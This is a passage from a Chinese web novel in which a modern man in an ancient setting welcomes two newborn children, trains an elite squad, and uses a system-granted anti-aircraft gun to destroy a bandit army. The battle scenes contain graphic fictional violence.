沈秉钧这把老骨头,平日里翻来覆去要折腾半个时辰才能入睡,在这床上,竟是沾枕即着,一夜无梦。
还有那个名叫冰箱的柜子,从随手取出的瓜果,竟变得无比冰凉。
沈秉钧被震撼到麻木,神仙洞府,怕是也不过如此了吧?
相比之下,他那个郡守府简直就是个猪窝。
这般安逸的日子,过得飞快。
三日后的清晨。
沈秉钧站在村口,看着身后那两辆装得满满当当的马车,脸上的褶子都笑开了花。
一车是虎骨酒,一车是各式各样的香水。
“岳父大人。”
江夜走到沈秉钧身侧,一挥手,王囤捧着一件黑色的背心走了过来。
那背心看似轻薄,面料却极其致密,泛着一股幽幽的哑光。
“这是小婿特意为大人准备的防身之物。”
沈秉钧伸手摸了摸,有些嫌弃:“这大热天的,穿个棉背心作甚?捂痱子?”
江夜笑了笑,没说话,只是从王囤腰间拔出**,对着那背心狠狠一刺!
“噗。”
一声闷响。
**像是扎在了坚韧的老牛皮上,仅仅刺入分毫便再难寸进。
江夜拔出**,那背心上除了留下一个白点,竟是丝毫未破。
沈秉钧眼珠子差点瞪出来。
他一把抢过背心,翻来覆去地看,手指在那白点上摩挲,满脸惊骇:“这……这是什么宝甲?竟能防利刃刺击?”
“防刺服。”江夜随口胡诌,“用天蚕丝混着西域玄铁丝编织而成,轻便透气,穿在官服里面,寻常刀剑难伤分毫。”
这年头,当官也是高危职业。
尤其是沈秉钧这种,政敌、刺客、甚至刁民,防不胜防。
有了这东西,等于多了一条命。
沈秉钧如获至宝,碍于仪态才强行忍住那份呼之欲出的激动,小心翼翼地将其交给贴身亲信收好。
“贤婿啊……”
沈秉钧一把拉住江夜的手,用力地握了握,语气那是前所未有的亲热,“你有心了,真是有心了。”
这一刻,江夜在他眼里,比亲儿子还亲。
“大人客气,一家人不说两家话。”江夜笑得人畜无害。
沈秉钧看了一眼站在江夜身后的沈砚秋。
女儿依旧是一身青色官袍,只是那原本清冷的眉眼间,如今多了几分被滋润后的妩媚与柔和。
她的眼神一直黏在江夜身上。
沈秉钧心中叹了口气。
既然木已成舟,这女婿又是个有通天本事的,他这个当爹的
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,还能说什么?
“砚秋性子倔,有时候容易钻牛角尖。”
沈秉钧拍了拍江夜的手背,压低了声音,语气复杂,“你既要了她,便要护她周全。若是让老夫知道她受了委屈……”
他看了一眼那高耸的城墙和黑洞洞的枪口,把后半句狠话咽了回去,改口道:“老夫便是拼着这条老命,也要来找你讨个说法。”
江夜收敛笑意,郑重拱手:“岳父放心,砚秋是我的女人,谁若想动她,先从我的尸体上跨过去。”
沈秉钧深深看了他一眼,不再多言。
“走了!”
他转身上车,放下车帘的那一刻,目光在那两车货物上停留了一瞬。
有了这些东西,沈家在江临郡,乃至整个大宣朝的地位,都将再上一个台阶!
车轮滚滚,沿着平坦的水泥路远去。
江夜目送车队消失在视线尽头,嘴角勾起一抹弧度。
……
送走老丈人,江夜的日子又恢复了平静。
不过,平静只是表象。
随着沈秉钧回到郡城,虎骨酒和香水的名号,在上流圈子里迅速蔓延。
虎骨酒的神效让那些被酒色掏空身子的权贵们趋之若鹜。
而香水那独特的芬芳,更是让无数贵妇小姐为之疯狂。
一瓶难求!
有价无市!
源源不断的订单像雪花一样飞来,随之而来的,是一箱一箱沉甸甸的白银。
江夜看着账本上每日暴增的数字,只是淡定地喝着快乐水。
钱对他来说,现在真的只是个数字。
第238章 14.5mm口径的真理
平静的日子过得总是格外的快。
眨眼间,数月的时间便在指缝中溜走。
这一日,原本平静的江家内院,被一阵急促的脚步声打破了。
“江先生!慕容夫人要生了!”
侍女慌慌张张地跑进书房,声音里带着颤音。
正伏案画图的江夜手一抖,墨汁在宣纸上晕开一团黑渍。
他猛地扔下毛笔,直接冲出了书房。
产房外,早已围满了一圈人。
白梦夏和白梦秋正互相搀扶着焦急地向屋内张望。
林间雪双手合十,默默祈祷。
“啊——!”
产房内,传来一声惨叫。
紧接着,便是稳婆有些慌乱的声音:“夫人,您轻点用力,别把床板蹬塌了!”
江夜嘴角一抽。
到底是练家子,连生孩子都这么硬核。
江夜听着里面的动静,心里虽然焦急,但比起第一次经历这种事,到底还是镇定了不少。
慕容晴体质极佳,常年习武打熬出的筋骨,在这一刻显露出了优势。
仅仅过了不到半个时辰。
“哇——!”
一声嘹亮的啼哭声划破了院落上空的宁静。
哭声震耳,肺活量惊人。
“生了!生了!”
稳婆满脸喜色地跑出来,怀里抱着个红彤彤的小家伙。
“恭喜江先生!贺喜江先生!是个千金!”
江夜大喜过望,两步上前接过孩子。
小家伙刚出生,皮肤还皱巴巴的,像个小猴子,眼睛却半睁着,一点也不怕人。
“好!好闺女!”
江夜看着女儿,心都要化了。
他抱着孩子,大步流星地走进产房。
慕容晴满头大汗地躺在床上,发丝凌乱地贴在脸颊上,原本英气勃发的脸庞此刻透着几分虚弱的苍白。
看到江夜进来,她挣扎着想要起身。
“别动。”江夜快步上前,按住她的肩膀,顺势坐在床边。
江夜看着她苍白的脸色,眼含心疼,低头在慕容晴额头上轻轻一吻。
“辛苦了,晴儿。”
慕容晴看着江夜怀里的孩子,原本期待的眼神黯淡了几分,嘴巴一扁,有些委屈:“是个丫头片子……”
“丫头怎么了?”江夜逗弄着女儿的小手,“我就喜欢丫头。”
“可是……”慕容晴吸了吸鼻子,带着哭腔道,“丫头怎么继承我的衣钵?以后谁来当凤啸寨的大当家?谁带着兄弟们去干架?”
江夜差点笑出声。
这女人的脑回路果然清奇。
别人家生不出儿子是担心香火,她是担心没人继承自己大当家的位置。
“谁说女子不如男?”
江夜柔声安慰道,“你看你,不也是把凤啸寨打理得井井有条?再说了,咱们女儿以后肯定比你还厉害。”
“真的?”慕容晴眼睛亮了亮。
“当然。”江夜一本正经地胡说八道,“我会教她最好的武功,给她造最好的兵器。以后谁敢惹她,直接一炮轰过去。咱们女儿要做就做天下第一女侠,威风凛凛,谁见了都得喊一声‘姑奶奶’!”
慕容晴破涕为笑,原本的失落一扫而空。
“对!做女侠!”
她伸出手指,轻轻戳了戳女儿的小脸蛋,豪气顿生:“闺女,听见没?你爹说了,以后你就是整个大宣朝的一姐!”
怀里的婴儿似乎听懂了,挥舞着小拳头。
慕容晴眼底划过一丝疼爱,她转头,期待的看着江夜:“夫君,咱女儿叫什么名?”
“名字我早想好了。”江夜看着窗外明媚的春光,“就叫江灵。钟灵毓秀,人杰地灵。”
“江灵……好听!”慕容晴咧嘴一笑,虽然没太听懂什么钟灵毓秀,但自家男人取的,肯定没错。
慕容晴话音刚落。
江夜的脑海中,那久违的机械提示音,骤然炸响。
【叮!恭喜宿主诞下第二位千金!家族势力扩张!】
【奖励发放!
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】
【获得奖励1:中级格斗精通(可传授)!注:融合古今格斗技艺,提升全员近战搏杀能力。】
【获得奖励2:特种战术小队训练手册!注:包含潜伏、渗透、暗杀、斩首、丛林作战等全套战术体系。】
江夜眼前一亮。
这两个奖励来得正是时候!
如今护院队虽然装备精良,但战术素养还停留在古代战阵的水平,有了这套训练手册,再加上格斗精通,完全可以打造出一支这个时代的“特种部队”。
然而,当他看到第三个奖励时,呼吸瞬间停滞了。
【获得奖励3:双联装14.5mm防空高射***2(附带穿甲**5000发)!】
江夜猛地倒吸一口凉气。
14.5毫米口径!
这玩意儿虽然叫**,但实际上跟**火炮没什么区别了!
在他原本的那个世界,这种大杀器是用来打飞机的,或者是用来撕碎轻型装甲车的。
放在这个冷兵器时代?
江夜脑海中浮现出一个画面:
两军对垒,敌方重骑兵身披重甲冲锋而来。
然后双联装高射**发射,那些引重甲骑兵,在这恐怖的动能面前,会像纸糊的一样被瞬间撕碎。
“夫君?你怎么了?”
慕容晴见江夜抱着孩子发呆,呼吸急促,不由得有些担心,“是不是累着了?”
江夜回过神,低头在慕容晴脸上狠狠亲了一口。
“没什么,我只是太开心了。”
“晴儿,你真是我的福星!”
慕容晴被亲得一脸懵,随即脸颊飞起两朵红云,娇嗔道:“没个正形……孩子还看着呢。”
江夜哈哈大笑,心情从未有过的舒畅。
有了这大杀器,他江夜在这乱世之中,才算是真正有了安身立命的本钱。
管你什么流民起义,管你什么朝廷征讨。
只要敢来,就得问问这14.5毫米的口径答不答应!
第239章 夜枭
次日清晨,天刚蒙蒙亮。
江夜便把王囤叫了过来,从一百名死士和二十名护院中,层层筛选。
负重越野、徒手搏击、反应速度……
一直折腾到日上三竿,最终挑出了二十个身体素质最变态的苗子。
这二十人,个个眼神坚毅,身板硬朗,是精锐中的精锐。
“从今天起,你们不再是普通的护院。”
江夜背着手,目光扫过面前站成一排的汉子,“你们的新代号,叫夜枭。”
夜枭,昼伏夜出,凶猛致命。
为了训练这支特种小队,江夜特意在后山深处开辟了一块绝密场地。
烂泥潭、独木桥、高墙、铁丝网……全是照着特种部队的训练场一比一复刻的。
……
时间一晃而过,深秋的泥潭,冰冷刺骨。
“噗通!”
一根数百斤重的湿滑圆木重重砸在泥浆里,溅起黑色的污泥。
岸边,慕容晴一身劲装,她刚出月子不久,换做寻常妇人,此刻怕是还要裹着头巾在炕上捂着。
可慕容晴自幼习武,底子厚得惊人,再加上江夜那些珍稀补品的滋养,如今不仅身体恢复如初,在气质上,居然还多了一丝莫名的威严。
泥潭里,王囤扛着圆木,咬牙切齿地往前挪。
最近这一个多月过得简直不是人过的日子。
早起负重跑二十里,中午是泥潭格斗,下午还得练什么“战术规避”。
“夫人,这泥太深了,脚拔不出来啊!”一名队员抹了一把脸上的泥水,苦着脸喊道。
“拔不出来就死在里面!”慕容晴柳眉倒竖,“敌人拿刀砍你的时候,会等你拔脚吗?”
说完,她脚尖一点,身形如燕般掠过泥潭,手中教鞭抽在那队员身旁的圆木上,吓得那汉子浑身一激灵,扛着木头就冲了出去。
江夜站在高处,看着这一幕,满意地点点头。
这一段时间的魔鬼训练下去,这帮人的体能简直是坐火箭往上窜。
等体能训练结束,江夜便亲自下场。
“接下来,教你们点新东西。”
午后,训练场。
江夜手里拿着几张图纸,正在讲解战术手语。
“握拳是停止,手掌向下是卧倒,食指指向眼部是观察……”
这群大老粗看着江夜的手指变来变去,一个个大眼瞪小眼,满脸懵逼。
“东家,咱们直接冲上去砍不就行了?费这劲比划啥?”王囤挠了挠头,一脸不解。
江夜没说话,只是指了指旁边的模拟巷战屋。
“你带五个人守在里面,我带五个人攻进去。若是你们能撑过半柱香,今晚加餐红烧肉。”
王囤眼睛一亮:“东家说话算话?”
一刻钟后。
王囤灰头土脸地从屋里走出来,身上全是白石灰印子——那是代表阵亡的标记。
他甚至没看清江夜的人是怎么进来的,就被几个诡异的手势配合下,从死角里钻出来的人用木刀抹了脖子。
那种无声无息的压迫感,让他第一次感到了恐惧。
“服了吗?”江夜淡淡问道。
“服了!”王囤看着江夜,眼神充满崇拜。
从那天起,队员们对江夜的话不敢有丝毫质疑,昼夜不分的训练。
几个月的时间过去,这群汉子原本乱糟糟的冲锋,变成了行云流水的配合。
一人破门,两人掩护,模拟手弹投掷,突入,清扫盲区。
整个过程干净利落,没有任何多余的动作。
队员们那种原本属于草莽的浮躁褪去,取而代之的是一种冷酷和沉稳。
这天,江夜打开了武器库。
取出了二十把泛着幽冷光泽的**,滑轮组的设计让它们拥有恐怖的穿透力和射程,且开弓极省力,无声无息,**于百步之外。
每人再加上一把三菱**,血槽狰狞,一旦刺入,便是一个无法愈合的血窟窿。
最让队员们呼吸急促的,是每人配发的一把**。
除此之外,每人腰间还挂着几枚圆滚滚的铁疙瘩——那是江夜自制**。
“装备给你们了,好好训练。”
江夜沉声道:“记住,我要你们成为这大宣朝最锋利的小队。”
“是!”小队成员齐声高呼,声音震耳欲聋。
……
时间如流水,转眼便是寒冬。
北风呼啸,大雪纷飞。
整个稻花村被厚厚的积雪覆盖,银装素裹。
若是往年,这样的冬天是会**的。
无论是冻死还是饿死,都是常态。
但如今的稻花村,家家户户烟囱里冒着炊烟,存粮满仓,甚至还有余钱扯上几尺新布做棉袄。
江家大院内,更是地龙烧得滚热,屋内温暖如春。
但此时的气氛却异常凝重。
产房外,江夜披着一件黑色大氅,在雪地里来回踱步。
脚下的积雪被踩得咯吱作响,却掩盖不住屋内那一阵阵压抑的痛呼声。
林间雪要生了。
相比于慕容晴的豪横,林间雪的身子骨明显要弱得多。
已经进去三个时辰了。
“怎么还没动静?”江夜停下脚步,眉头紧锁,看着紧闭的房门,心里有些发慌。
慕容晴怀里抱着已经被裹成球的江灵,站在廊下,也是一脸焦急:“夫君别慌,女人生孩子都这样,雪儿妹子平日里看着柔弱,心里有股韧劲儿,肯定没事的。”
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话虽如此,可屋内传来的声音却越来越微弱。
江夜心头烦躁,干脆也不踱步了,站在门口,想冲进去,又怕添乱。
屋内。
林间雪脸色惨白如纸,汗水将头发湿哒哒地黏在脸上。
她死死咬着嘴唇,甚至尝到了血腥味。
痛。
像是要把身体撕裂一样的痛。
“夫人,用力啊!看到头了!再加把劲!”稳婆满头大汗地喊着。
林间雪意识有些模糊,脑海里闪过无数画面。
被婆家赶出门时的绝望,还有那个男人向她伸出手时的温暖。
她是寡妇,是不祥之人。
在这个世道,她本该是烂在泥里的人。
是江夜给了她一个家,给了她尊严。
“我不能……不能让他失望……”
林间雪不知哪里涌出来的一股力气,双手死死抓着床单,指节泛白,喉咙里发出一声破碎的嘶吼。
“哇——!”
一声细弱却清晰的啼哭声,终于响起。
产房外,江夜浑身一震,猛地抬起头。
片刻后,房门开了。
稳婆抱着一个襁褓跑了出来:“恭喜江先生!贺喜江先生!是个带把的!是个大胖小子!”
江夜紧绷的神经瞬间松弛下来,长长吐出一口白气。
他甚至没顾上看孩子一眼,大步流星地冲进了产房。
屋内弥漫着淡淡的血腥气。
林间雪虚弱地躺在床上,眼神有些涣散,直到看到那个熟悉的身影冲到床边,她的眼底才重新聚焦起一丝光彩。
“夫君……”她声音哑得厉害。
江夜握住她冰凉的手,放在自己脸上蹭了蹭,眼底满是心疼:“辛苦了,雪儿。”
林间雪看着江夜,眼泪突然就决堤了。
她颤抖着想要起身看看孩子。
稳婆这时正好抱着孩子进来,放在了她枕边。
小家伙虽然不那么壮实,但也红润可爱,正闭着眼睛哼哼唧唧。
“是儿子……”林间雪看着那个小小的生命,哭得泣不成声,“夫君,我给江家生了儿子……”
在这重男轻女的时代,尤其是她这种再嫁的身份,若生不出儿子,哪怕江夜不介意,外人的唾沫星子也能淹死她。
如今,这块压在她心头的大石,终于落地。
江夜看着她那副小心翼翼又喜极而泣的模样,心里一酸。
他俯下身,轻轻吻去她眼角的泪水。
“傻瓜,不管是儿是女,只要是你生的,我都喜欢。”
江夜将被角掖好,柔声道:“你永远都是江家的功臣。”
林间雪眼眶泛红,闪烁着感动的泪水,看着身边的儿子和夫君,满心的甜蜜与幸福。
第240章 求人不如求己
冬去春来,冰雪消融。
屋檐下的冰棱子化作滴答的水声,敲打着青石板。
大宣景和二十三年春,帝崩。
这一消息一瞬,便在各地激起巨浪。
太子年幼,尚在襁褓,主少国疑。
早已蠢蠢欲动的各地藩王,撕下了最后一块遮羞布,拥兵自重。
原本维持着脆弱平衡的大宣王朝,顷刻间分崩离析。
乱世,来了。
江家大院。
江夜手里拿着一只拨浪鼓,正逗弄着摇篮里的儿子。
小家伙刚吃饱奶,吐着泡泡,两只胖乎乎的小手在空中乱抓。
江灵被慕容晴抱出去看护院队打拳。
“东家。”
王囤快步走进屋内,脸色难看至极,“外面传来的消息,不太好。”
江夜手里的拨浪鼓停了一下,轻轻放在摇篮边,给儿子掖了掖被角,这才起身往外走。
“去书房说。”
书房内,气氛凝重。
王囤灌了一大口凉茶,才压住心头的火气:“那帮畜生,简直不是人!”
“说重点。”江夜坐在太师椅上,神色平静。
“是‘铁血盟’。”王囤咬牙切齿,“就在咱们江临郡边上一带冒出来的。
领头的叫雷老虎,原本就是个**不眨眼的悍匪,趁着这波乱世,收拢了不少逃兵和流寇,现在手底下号称有五千人马。”
“五千?”江夜手指轻轻敲击着桌面。
这个数字,在正规军面前或许不算什么,但在如今这秩序崩坏的地方,足以横扫好几个县城。
“这雷老虎放出话来了。”王囤看了一眼江夜,欲言又止。
“说。”
“他说……”王囤深吸一口气,“他说青石县富得流油,有吃不完的粮食,还有能让庄稼疯长的神肥。他要带着弟兄们来取粮,还说……”
“还说什么?”
“还说要把东家您抓去点天灯,还说要把……要把两位夫人抢回去做压寨夫人。”
“咔嚓。”
江夜手中的茶杯应声而碎,滚烫的茶水顺着指缝流下,他却恍若未觉。
“点天灯?抢我女人?”
江夜气极反笑,随手丢掉手中的碎瓷片,抽出一张纸巾慢条斯理地擦着手,“这雷老虎,胃口倒是不小,就不怕崩碎了满嘴的牙?”
“东家,现在县里都乱套了。”王囤焦急道,“百姓们听说雷老虎要来,一个个吓得魂不守舍,不少人正收拾细软准备往山里跑。这五千亡命之徒,咱们护院队加上夜枭,满打满算也就一百多人……”
一百对五千。
怎么看都是必死之局。
“慌什么。”江夜站起身,走到窗前,看着远处初春的田野,“让护院队照常训练,夜枭小队集合待命。”
“是,东家。”
“去吧。”
打发走了王囤,江夜转身去了县衙。
……
县衙后堂。
沈砚秋一身官服,却难掩眉宇间的疲惫,原本清丽的脸庞因为焦虑而显得有些苍白。
桌案上,堆满了各乡里正送来的告急文书。
“大人,这可如何是好啊!”
“雷老虎所过之处,寸草不生,男的杀,女的奸,咱们青石县若是破了,那就是人间炼狱啊!”
几个县里的佐官急得像热锅上的蚂蚁,围着沈砚秋转圈。
“都给我闭嘴!”
沈砚秋猛地一拍惊堂木,官威犹在,“还没打过来就自乱阵脚,成何体统!再有动摇军心者,先革职查办!”
堂内瞬间安静下来,但众人眼中的惊恐却怎么也掩盖不住。
就在这时,一阵沉稳的脚步声传来。
“你怎么来了?”沈砚秋看到来人,发现是江夜,紧绷的神经稍微松弛了一些,想起身,却被快步上前的江夜按住肩膀。
“坐着。”
沈砚秋闻言,扫视了一圈堂内众人,淡淡道:“都出去吧,我有话跟江先生说。”
众人如蒙大赦,纷纷告退。
等人都走光了,沈砚秋才卸下那副强撑的坚强,从怀里掏出一封
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信,递给江夜,眼眶微红:“我之前给父亲寄了信件,这是回信到了。”
江夜接过信,展开。
信纸很薄,字迹有些潦草,显然写得很匆忙。
内容不多,大意是江临郡如今也被两股军阀势力夹击,自身难保,郡兵根本调拨不出来。
沈秉钧在信中语气沉痛,让沈砚秋若事不可为,便保全性命。
看完信,江夜面色平静,既没有愤怒,也没有失望。
“父亲他……也有他的难处。”沈砚秋低着头,声音有些哽咽,“郡城那边压力更大,若是调兵来援,恐怕郡城就保不住了。可是……可是这满城的百姓怎么办?咱们辛苦建立起来的这一切怎么办?”
她抬起头,看着江夜,眼中满是无助。
江夜看着她,看着这个平日里雷厉风行、此刻却因为局势而变得脆弱的女人。
他走到烛台前,将那封信凑近火苗。
“夫君?”沈砚秋一惊。
火苗舔舐着信纸,迅速卷起一道黑边,转眼间化为灰烬。
“砚秋,你记住。”
他双手撑在椅子扶手上,将沈砚秋圈在怀里,直视她的双眼,“这世道乱了,靠山山会倒,靠人人会跑。”
“你父亲救不了我们,朝廷更救不了我们。”
“想活下去,想护住这清石县的百姓,想让咱们的孩子平平安安降生……”江夜的声音沉稳,“只能靠我们自己。”
江夜走到沈砚秋面前,蹲下身,轻轻抚摸着她隆起的小腹,语气温柔却坚定。
“可是……那可是五千人啊!”沈砚秋急道,“咱们那点人……”
“五千人又如何?”
江夜站起身,嘴角勾起一抹冰冷的弧度。
“既然这世道乱了,没有王法了,那我就用我的规矩,来跟他们讲讲道理。”
沈砚秋看着近在咫尺的男人。
这个平日里看似没什么正形的男人,此刻身上却散发着一种令人心安的霸道。
仿佛天塌下来,他也能单手擎住。
第241章 口径即正义
次日一早。
青石县衙,肃杀之气弥漫。
江夜直接从桌案上拿起那方象征县令权力的官印,在手里掂了掂。
“沈大人有令,敌寇将至,清石县的防务尽归我管辖。”
江夜目光扫了一圈面色各异的差役都头,声音冰冷。
“传令下去,全县**。所有民兵集合,等候调派,另外,我要知道雷老虎每一步的动向。”
堂下站着几个都头,一个个面面相觑。
虽然自从上次江夜大败黑风军以后,大家敬畏江夜,但如今大敌当前,把全城几万人的性命交个一个平头百姓,他们心里还是没底。
“江先生,这防务……”站在最前方的都头刚想开口。
江夜眼皮都没抬,直接打断了他,“另外,现在是非常时期,若是有敢有临阵脱逃、不服命令、动摇军心者,斩。
这话,是一番明晃晃的威胁,堂内温度仿佛骤降。
站在江夜身后的王囤,手按刀柄,目光如狼似虎地扫过众人。
那股煞气,让这群差役忍不住打了个寒颤。
这下,没人敢再有异议。
沈砚秋在暗处,看着这个霸气侧漏的男人,原本慌乱的心竟奇迹般安定下来。
江夜安排完了所有的事,屏退了众人,才一屁股坐在太师椅上,闭上眼,意识沉入系统空间。
空间系统里,**库中。
两台泛着冰冷金属光泽的双联装14.5mm高射**正静静地躺在那里。
**粗大宛如两门小型火炮。
配套的弹链箱里,那一排排手指粗细的穿甲**,弹头涂着醒目的红漆。
“五千人?”
江夜嘴角勾起一抹杀意。
“既然来了,就别想走了。正好拿你们试试这真理的成色。”
……
三日后。
青石县外,被一片黑压压的乌云笼罩。
尘土飞扬,马蹄声碎。
“铁血盟”的先锋部队,整整一千人,浩浩荡荡逼近城下。
这一千人并非江夜之前见过的那些衣衫褴褛的流寇。
他们穿着统一的制式皮甲,前排更是清一色的铁甲步兵,手持长矛大盾,在阳光下反射着刺眼的寒光。
队伍后方,甚至还推着几台用粗木拼凑起来的简易投石车,吱呀作响。
这种配置,别说打一个县城,就是去攻打郡府都有一战之力。
城墙上,原本**夜鼓动得热血沸腾的民兵们,此刻看着那如铁桶般的军阵,一个个脸色煞白。
手里的红缨枪都在抖。
“这……这怎么打?”
“那是铁甲啊!咱们的刀砍上去都要卷刃!”
恐慌的情绪像瘟疫一样在城头蔓延。
城下,一骑绝尘而出。
那先锋官是个满脸横肉的壮汉,骑着一匹枣红马,手里提着一把开山斧,嚣张地在护城河外来回踱步。
“城里的人听着!”
壮汉中气十足,声音如同闷雷,“老子是铁血盟先锋大将赵铁柱!识相的赶紧开城投降,把粮食和女人都交出来!若是让老子攻进去,屠城三日!”
“屠城!屠城!屠城!”
身后一千匪兵齐声高呼,声浪震天,杀气腾腾。
城墙上的守军被这气势一冲,不少人腿肚子都打抖。
沈砚秋站在城楼上,脸色苍白,指甲深深陷入掌心。
就在这时,一只温热的大手覆盖在她的手背上。
“别怕。”
江夜从她身后走出,一身黑色劲装,显得格外挺拔。
他看了一眼下面叫嚣的壮汉,像是看一只聒噪的苍蝇。
“王囤。”
“在!”
“把那两块布掀了。”
王囤咧嘴一笑,露出一口白牙,转身对着身后的两名夜枭队员打了个手势。
两名身材魁梧的夜枭队员上前,猛地掀开了架在城垛口那两块巨大的黑布。
“哗啦!”
阳光下,两台狰狞的钢铁巨兽显露真容。
四根粗长的**黑洞洞地指着下方,枪身厚重,底座稳固,弹链箱早已挂好,黄澄澄的**在阳光下闪烁着死亡的光泽。
城下的叫骂声戛然而止。
赵铁柱愣了一下,随后爆发出一阵更加狂妄的嘲笑。
“哈哈哈!笑死老子了!这**是什么?烟囱吗?还是几根烧火棍绑在一起?”
他指着城头,笑得前仰后合,“你们青石县没人了吗?弄这几个铁管子出来吓唬谁呢?想滋水呲死爷爷吗?”
身后的匪兵们也是哄堂大笑,原本紧绷的气氛瞬间变得滑稽起来。
城墙上的民兵们也是一脸懵逼。
虽然他们
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知道江先生总有些稀奇古怪的玩意儿,但这几根铁管子……真的能挡住那一千铁甲兵?
江夜没理会下方的嘲笑。
他慢条斯理地走到其中一台高射**后,坐上射击位。
冰冷的金属触感让他浑身血液开始沸腾。
调整高低机,转动方向机。
准星在视野中缓缓移动,最终套在了那个笑得最欢的赵铁柱身上。
“笑吧。”
江夜嘴角微微上扬,眼神却冷得像冰,“这辈子最后一次笑了。”
距离,八百米。
在这个时代,这是绝对的安全距离,连最强劲的床**都射不到。
但在14.5mm口径面前,这就是贴脸输出。
“咔嚓。”
拉动**的声音清脆悦耳。
江夜双脚猛地踩下击发踏板。
“咚!咚!咚!咚!”
沉闷而恐怖的**,骤然炸响!
枪口瞬间喷出半米长的火舌!
粗大的穿甲**以肉眼无法捕捉的速度撕裂空气,带着毁天灭地的动能,瞬间跨越了八百米的距离。
下一秒。
还在狂笑的赵铁柱,笑声戛然而止。
没有惨叫。
也没有挣扎。
在众目睽睽之下,连人带马,就像是被一只无形的巨手瞬间捏爆了一样!
“噗!”
一团巨大的血雾炸开。
那身铁甲,连同里面的人体,瞬间变成了漫天飞舞的碎肉和铁片。
连胯下的战马都被巨大的动能撕成了两截,内脏流了一地。
战场死一般的寂静。
刚才还在嘲笑的匪兵们,脸上的笑容僵硬在脸上。
发生了什么?
先锋呢?
那么大一个活人,怎么眨眼就没了?变成了一堆烂肉?
“咚咚咚咚——!”
江夜没有停手。
枪口微抬,火舌狂喷。
那些所谓的铁甲步兵,在14.5mm口径面前,脆得像纸糊的一样。
**击中人体,根本不会停留,直接穿透,然后带走一大块躯干或者四肢。
只要擦着就是残,碰着就是死。
“砰!轰!”
远处的几台投石车被重点照顾。
几发**打过去,粗大的木架直接被打断,随后燃起熊熊大火,瞬间化为焦黑的木炭。
第242章 夜袭
战场上,残肢断臂散落一地,鲜血混杂着内脏,将城前的土地染成了触目惊心的暗红色。
那些原本气势汹汹的铁甲匪兵,刚刚经历了一场来自地狱的洗礼。
先锋官赵铁柱,连同他身后的数十名亲卫铁骑,已经彻底消失了。
幸存的匪兵们双腿打颤,看着眼前那宛如修罗场的画面,心理防线瞬间崩塌。
在他们的认知里,刀枪不入的铁甲就是防御的极限,哪怕是床**,顶多也就是把人射个对穿。
可刚才那是什么恐怖的能力?
连人带马直接炸碎,这是凡人能拥有的力量吗?
“跑啊!”
“快跑!这青石县有妖人坐镇!”
“那个男人是妖魔!快跑啊!”
幸存的匪兵瞬间炸了窝。
什么军纪,在这一刻统统被抛到了九霄云外。
原本整齐的方阵瞬间崩塌,剩下的几百名匪兵丢盔弃甲,哭爹喊娘地向后狂奔。
有人跑掉了鞋子,有人甚至连手中的兵器都扔了,只恨爹娘少生了两条腿。
甚至连那些原本用来攻城的简易云梯,都被慌不择路的溃兵撞翻,现场一片狼藉。
城墙上。
城墙上。
**张大了嘴巴,下巴差点掉在脚面上。
他看了看远处那一地狼藉,又僵硬地转过脖子,看向正慢条斯理摘下手套的江夜。
不仅是他,周围所有的民兵、差役,甚至连沈砚秋,都像是被施了定身法。
他们想过江夜可能会赢,或许是用某种奇谋妙计,或许是依托城墙死守。
但谁也没想到,战斗结束得这么快,这么……残暴。
这简直就是单方面的**。
“咕咚。”
不知是谁咽了一口唾沫,在这死寂的城头显得格外清晰。
随后,爆发出了震天动地的欢呼声。
“赢了!神威!江先生神威!”
“江先生是天神下凡!”
民兵们激动得满脸通红,挥舞着手中的兵器,看向江夜的眼神充满了敬畏和崇拜。
在这个迷信的时代,这种超越认知的力量,只能被归结为神迹。
沈砚秋扶着城垛,心中那块大石总算是落了地。
她看着江夜的背影,心中涌起一股难以言喻的自豪感。
这清石县,仿佛只要有他在,这天,就塌不下来。
江夜神色淡然,并没有被周围的欢呼声冲昏头脑。
他转过身,对王囤说了句,“把**盖好,别落了灰。”
“另外,派人去打扫战场。”
“是”王囤挺直腰杆,声音洪亮,眼里的崇拜几乎要溢出来。
……
战败的消息,很快传到距离青石县三十里外的铁血盟大营。
“你说什么?!”
一声暴喝震得大帐顶上的灰尘簌簌落下。
雷老虎一把揪住那个逃回来的小兵,将他整个人提了起来,满脸愤怒。
“整整一千弟兄!还有老子的铁甲阵!不到一盏茶的功夫全没了?赵铁柱连个全尸都没留下?”
“大当家……那…那是妖法!!”
那小头目吓得涕泪横流,浑身筛糠一样抖个不停,“那城头上喷出火舌,声音像打雷一样,弟兄们挨着就死,碰着就亡!根本不是人能对抗的!”
“放屁!”
雷老虎怒不可遏,猛地拔出腰间佩刀,手起刀落。
“噗嗤!”
鲜血飞溅,那小兵的人头骨碌碌滚到了大帐角落,双眼还圆睁着,满是惊恐。
帐内其余的头领吓得大气都不敢出。
“这世上哪来的妖法!”
雷老虎将带血的刀狠狠插在桌案上,狞笑道,“不过是仗着些奇技淫巧罢了!一定是赵铁柱那是个废物,轻敌冒进,连累弟兄们!”
“传我令!全军拔寨!老子亲自带队!”
“四千人马,今晚就给我压上去!老子倒要看看,他能不能挡得住老子的人海战术!”
“破城之后,鸡犬不留!所有财务和粮食,包括女人,谁抢到就是谁的!”
众头领闻言,眼中的恐惧被贪婪取代,齐声高呼:“大当家威武!”
……
夜幕降临,青石县衙。
虽然白天
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打了一场胜仗,但县衙内的气氛却并不轻松。
江夜站在巨大的作战地图前,手指轻轻敲击着桌面。
“东家,探子回报。”
一身夜行衣的夜枭队员如同鬼魅般出现在书房角落,“雷老虎主力动了,四千人马,全军出击,没带辎重,全是轻骑和步卒,看样子是想打咱们一个措手不及。”
“四千人……”
沈砚秋坐在旁边,手里捧着一杯热茶,眉头紧锁。
“四千人……若是强攻,即便咱们有那两台……神器,恐怕也难免会有漏网之鱼冲上城头,一旦陷入混战,咱们的人数劣势太大了。”
“而且……”她顿了顿,眼中闪过一丝忧虑,“若是让他们在城外展开,咱们城外的那些庄稼、工坊,怕是要毁于一旦。”
“所以,不能让他们攻城。”
江夜转过身,目光落在地图上的一处山坳。
那里距离县城十里,是通往青石县的必经之路。
“你的意思是……”沈砚秋一愣。
“那雷老虎既然想急行军,必然会走这条一线天。”江夜手指点在那个位置,“这里地形狭窄,两边是荒山。”
“东家要出城袭击?”王囤瞪大了眼睛,“咱们就那点人,离开城墙的掩护,万一被围了……”
江夜嘴角勾起一抹冷笑,“在绝对的火力面前,人数只是一个数字。”
江夜不再多说,直接下令,“王囤,集结夜枭小队。”
“咱们去给雷大当家,准备一份厚礼。”
“是,东家。”王囤领命后,大步流星的离开。
其他人紧跟着退下。
屋内只剩沈砚秋和江夜。
